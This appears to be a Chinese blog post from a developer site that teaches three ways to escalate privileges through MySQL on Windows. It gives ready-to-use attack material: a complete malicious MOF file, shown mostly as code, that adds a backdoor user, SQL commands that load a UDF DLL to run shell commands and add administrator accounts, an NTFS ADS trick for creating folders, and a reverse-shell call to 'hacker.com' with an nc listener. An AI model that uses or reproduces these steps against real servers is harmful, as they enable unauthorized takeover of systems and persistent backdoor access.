mysql 提权方法_mysql常用的提权方法

一,利用MOF提权

Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。

操作步骤

1,通过webshell上传 nullevt.mof 文件到可写目录,nullevt.mof 代码如下:

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\\Cimv2";

Name = "filtP2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user demon 123456 /add\")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

2,通过SQL语句 读取nullevt.mof,然后导出到 mof 目录下

select load_file('C:/recycler/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

二,利用UDF提权

udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。

1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。

连接到mysql以后,先导出udf.dll到 c:\windows\system32目录下。

2、创建相应的函数并执行命令,具体如下:

create function cmdshell returns string soname 'udf.dll';-- 创建函数

select cmdshell('net user demon 123456 /add');

select cmdshell('net localgroup administrators demon /add');

drop function cmdshell; -- 删除函数

delete from mysql.func where name='cmdshell' -- 删除函数

3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,

但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

select @@basedir; -- 查找到mysql的目录

select 'It is dll' into dumpfile 'C:\\Program Files\\phpstudy\\MySQL\\lib::$INDEX_ALLOCATION'; -- 利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\\Program Files\\phpstudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- 利用NTFS ADS创建plugin目录

当默认udf导出失败时,可以尝试用手动方法导出udf进行提权,具体方法如下:

先上传udf.dll,连接到mysql,再按下面步骤执行sql语句。

create table zz(abc longblob);//注意列类型为longblob

insert into zz values(load_file('C:\\udf.dll')); //上传的udf.dll路径

select * from zz into dumpfile 'C://WINDOWS//system32//udf.dll'; //导入的目标地址 mysql 5.0以上要导入到系统目录

Create Function MyCmd returns string soname 'udf.dll'; //这里如果导出的路径为C://WINDOWS//system32//udf2.dll' 可以将后面改成udf2.dll

select MyCmd (' net user ');

drop function MyCmd;

删除udf.dll 的方法,先删除生成的函数

Drop function MyCmd;

三,反弹 shell 提权

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

mysql.exe -h target.com -uroot -p password

mysql> \. c:\mysql.txt

mysql> select backshell("hacker.com",444);

2、本地监听你反弹的端口

nc.exe -vlp 444

成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值